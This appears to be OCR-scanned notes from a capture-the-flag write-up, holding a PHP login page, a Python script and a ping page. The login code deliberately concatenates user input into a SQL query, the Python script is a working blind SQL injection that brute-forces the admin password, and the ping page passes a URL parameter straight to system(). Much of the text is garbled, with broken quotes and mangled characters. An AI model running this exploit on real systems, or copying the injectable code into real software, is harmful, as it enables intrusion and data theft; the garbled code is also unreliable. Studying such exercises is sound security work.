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<IDOCTYPE HTML>

<html>

<head>

<title>BmEHEEFR</title>

<!-- Custom Theme files -->

<link href="css/style.css" rel="stylesheet" type="text/css" media="all"/>
<!-- Custom Theme files -->

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="keywords" content="/Z&%&xX" />

</head>
<body>

<?php

function dbconnection()

{
@$con = mysql_connect("localhost","root","c2FkZmFnZGZkc3Nm");
// Check connection
if (!$con)
{
echo "Failed to connect to MySQL: " . mysql_error();
}
@mysql_select_db("blindsql",$con) or die ( "Unable to connect to the database");
mysql_query("SET character set 'UTF8'");
}
function waf($id)
{

if(preg_match("/\([\)[\\\\/", $id))
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oyl 1 uc,
else
return False;

}
if(isset($_POST['username'])&8&isset($_POST[ 'password']))
{

$hit = '';

dbconnection();
$username = $_POST[ 'username'];
$password = $_POST[ 'password'];
if(waf($username))

{

$hit = "illegal character”;

}
else{

$sql="SELECT * FROM admin WHERE username='".$username."'" ;

$result=mysql_query($sql);

@$row = mysql_fetch_array($result);

#$name = $row[ 'username'];

if(isset($row)&8&$row[ 'username’]!="admin"){
$hit = "username error!";

}else{
if ($row[ 'password’ ]===md5($password)){
$hit = "BHAR, TRIEIEEREHEE.

}else{
$hit = "password error!";
}
}
}
mysql_close();
}
?>

<!--header start here-->
<div class="login-form">
<div class="top-login">
<span><img src="images/group.png" alt=""/></span>
</div>
<h1>%&FF</h1>
<div class="login-top">
<form method="post" action="index.php" id="slick-login">
<?php if(isset($hit))echo "<font color="#FFE7BA'><p align='center'>$hit</p></font>";?>
<div class="login-ic">
<i ></i>
<input type="text" name="username" class="placeholder" placeholder="username">
<div class="clear"> </div>
</div>
<div class="login-ic">
<i class="icon"></i>
<input type="password" name="password" class="placeholder" placeholder="password">
<div class="clear"> </div>
</div>

<div class="log-bwn">
<input type="submit" wvalue="Login" >
</div>
</form>
</div>
<p class="copy">0 #Z{H</p>
</div>



<!--header start here-->
</body>
</html>
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@%con = mysql_connect("localhost", "root", "c2FRZmFnZGZRc3Nm") ;
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function waf($id) { if(preg_match("A(|)|\\W", $id)) return True; else return False; }
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$sqI="SELECT * FROM admin WHERE usermame="".$usemame."" ;
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#!/usr/bin/env python
# encoding: utf-8
import requests
import string
url = "192.168.5.62/index.php"
flag = ""
for i in range(1,1270):
payload = flag
for j in "0123456789"+string.letters+"!@#$ &*()==":
data = {
"username":"admin' and password like binary 'dVAXMEBkX25FdyS5waHA%s%%'#"%(payload+j),
"password":"123"
}
print data
r = requests.post(url=url,data=data)
if "password error" in r.content:

flag += j
print flag
break
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PING
T 48%E, HEBEBRKES (8D HEF. KX Lrobots.txt

User-agent: *

Disallow:

Disallow: index.txt
Disallow: where_is_flag.php

Vi iindex.txt
<?php include ("where_is_flag.php");
echo "ping";
Sip = (string)$_GET['ping'];

$ip = str_replace(">", "0.0", $ip);
system("ping " . $ip);
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http://skysec.top/2017/12/29/Time-Based-RCE/
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KB main.js.

$(function () {

$.getToken = function () {
return $("token").text();

}

var panel = ['feedback', 'login', 'main', 'chgpass'];

var token = $.getToken();

function getPage(){
var page = document.location.hash.slice(1).split('-")[0];
if(panel.index0f(page) > -1){
return page;
}

return panel[0];

}

function loadPage(page){
page = page + '.html';
$.get( "./template/"+page, function(data) {
$("#frame").html(data);

o)
.fail(function() {

alert( "ICHZBHCINESM" );
s
b

function main(){
page = getPage();
loadPage(page);

}

window.onhashchange = function(){
main();

}

main();
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https://githubengineering.com/githubs-post-csp-journey/
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